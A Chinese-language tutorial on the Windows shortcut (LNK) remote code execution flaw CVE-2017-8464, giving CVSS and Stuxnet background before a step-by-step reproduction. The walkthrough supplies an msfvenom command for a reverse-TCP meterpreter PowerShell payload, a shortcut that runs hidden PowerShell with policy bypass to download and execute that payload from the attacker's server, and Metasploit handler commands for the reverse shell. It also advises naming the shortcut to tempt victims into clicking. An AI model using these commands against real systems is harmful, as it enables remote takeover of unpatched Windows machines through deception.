前不久(6月13或14日),微软发了一系列补丁,对一批产品进行了安全漏洞修复。
其中有两个漏洞危害性比较大:
1. CVE-2017-8543
Windows Search远程代码执行漏洞
https://nvd.nist.gov/vuln/detail/CVE-2017-8543
2. CVE-2017-8464
快捷方式远程代码执行漏洞
https://nvd.nist.gov/vuln/detail/CVE-2017-8464
其中CVE-2017-8543,采用CVSS v2标准,分值达到10分(满分10分),可见危害程度之高。
科普:
CVSS,全称Common Vulnerability Scoring
System,即“通用漏洞评分系统”,是一个“行业公开标准,其被设计用来评测漏洞的严重程度,并帮助确定所需反应的紧急度和重要度”。目前主流采用CVSS
version 2.0和CVSS version 3.0这两种。
具体细则可参考:https://www.first.org/cvss/v2/guide
不过,本篇主要围绕CVE-2017-8464这个漏洞说一下,此洞被形容“震网三代”,震网所到之处,处处阵亡。
震网一代:2010年,间谍组织买通伊朗核工厂的技术人员,将含有漏洞(CVE-2010-2568 )利用工具的U盘插入了核工厂工业控制系统的电脑,被利用漏洞控制后的电脑继续攻击了核设施中的离心机设备,导致设备出现大量损坏,影响了伊朗核计划的进程。
震网二代:2011年,Duqu病毒横扫,被称为震网二代病毒。该蠕虫会在临时目录下生成一些名为~DQ的随机文件名的文件,用于记录用户的敏感和某些特定信息。
震网三代:CVE-2017-8464,即LNK文件远程代码执行漏洞,利用成本极低,黑客将其组装成用于攻击基础设施、核心数据系统等的网络武器。
关于CVE-2017-8464漏洞,主要攻击原理是当Windows系统在解析快捷方式时,存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。
Shell链接二进制文件(快捷方式)格式,实际上就是叫做shell链接的结构。 该结构用于存储对链接目标命名空间中被称为链接目标的位置的引用。
链接目标命名空间中最重要的组件是以项目ID列表(IDList)的形式的链接目标。shell链接结构存储信息包括:
1. 可用于启动应用程序的键盘快捷键。
2. 描述性评论。
3. 控制应用程序行为的设置。
4.
可选数据存储在额外的数据部分。
Shell链接二进制文件格式,可以使用COM对象进行管理,使用IShellLink接口编程,并使用IPersistStream或IPersistFile接口的格式存储。
最常见的是将shell链接存储在具有.LNK后缀的文件里。
通过使用IPersistStream接口,shell链接可以保存到另一个存储系统中,例如数据库或注册表,或以另一种文件格式嵌入。
我给你一个快捷方式,你双击了,你就被可黑了,我爽极了。
关于漏洞的复现,github有py脚本:
https://github.com/nixawk/labs/tree/master/CVE-2017-8464
漏洞已经被metasploit-framework收录:
https://github.com/rapid7/metasploit-framework/pull/8767
国外8月份写过一篇相对详细的Poc文章:
https://securityonline.info/bypass-antivirus-exploit-windows-using-powershell/
由于给的PoC都不是很详细,这里给大家展示详细的复现过程。
首先,要准备一台电脑,和一台服务器。服务器是用来实施攻击的,电脑作为受害者。
服务器(实验ip为192.168.17.94):
需要有msf,建议选用kali。
电脑需要满足以下版,基本涵盖了大部分,且没有更新最新补丁:
Microsoft Windows 10 Version 1607 for32-bit Systems
Microsoft Windows 10 Version 1607 forx64-based Systems
Microsoft Windows 10 for 32-bit Systems
Microsoft Windows 10 for x64-basedSystems
Microsoft Windows 10 version 1511 for32-bit Systems
Microsoft Windows 10 version 1511 forx64-based Systems
Microsoft Windows 10 version 1703 for32-bit Systems
Microsoft Windows 10 version 1703 forx64-based Systems
Microsoft Windows 7 for 32-bit SystemsSP1
Microsoft Windows 7 for x64-basedSystems SP1
Microsoft Windows 8.1 for 32-bit Systems
Microsoft Windows 8.1 for x64-basedSystems
Microsoft Windows RT 8.1
Microsoft Windows Server 2008 R2 forItanium-based Systems SP1
Microsoft Windows Server 2008 R2 forx64-based Systems SP1
Microsoft Windows Server 2008 for 32-bitSystems SP2
Microsoft Windows Server 2008 forItanium-based Systems SP2
Microsoft Windows Server 2008 forx64-based Systems SP2
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2016
- 第一步,创建metasploit payload
随便找一个目录,使用msfVENOM命令创建payload,命令为:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168. 17.94 LPORT=1337 -f psh-reflection > ichunqiu.ps1
执行完,会生成一个名为ichunqiu.ps1的文件,这个文件会在后面被用来实施攻击。
- 第二步,将payload放置在web上
由于CVE-2017-8464存在远程执行任意代码的高危漏洞,所以我们要将攻击文件放到网络上。
可以用apache/nginx webserver,也可以自己的虚拟主机,总之能通过网络访问到步骤一的文件即可。如图,将攻击文件放到了:192.168.17.94/ichunqiu/ichunqiu.ps1
- 第三步,创建有毒的快捷方式
鼠标右键,选择新建,选择快捷方式,在请输入对象的位置这一栏,填写以下信息,注意请填写你自己的服务器文件存在位置:
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.17.94/ichunqiu/ichunqiu.ps1');xx.ps1"
快捷方式名字随便起,建议根据被实施攻击的用户癖好取名字,让对方有双击的欲望:
点击完成,至此我们生成了一个叫做坏蛋的快捷方式。
- 第四步,服务器开始监听
进入msfconsole,执行命令如下:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.17.94 msf exploit(handler) > exploit
截图如下:
此时,服务器已经处于监听状态,等待被攻击者连接到此服务器。
- 第五步,快捷方式攻击
在受害用户电脑上,双击此快捷方式,完成之后,我们看服务器上面的msf,会提示有一个session,也就是说用户电脑已经被qin入。如图:
输入shell,即可进入目标电脑的shell操作,如图,查看此电脑用户名:
至此,整个攻击过程详细复现。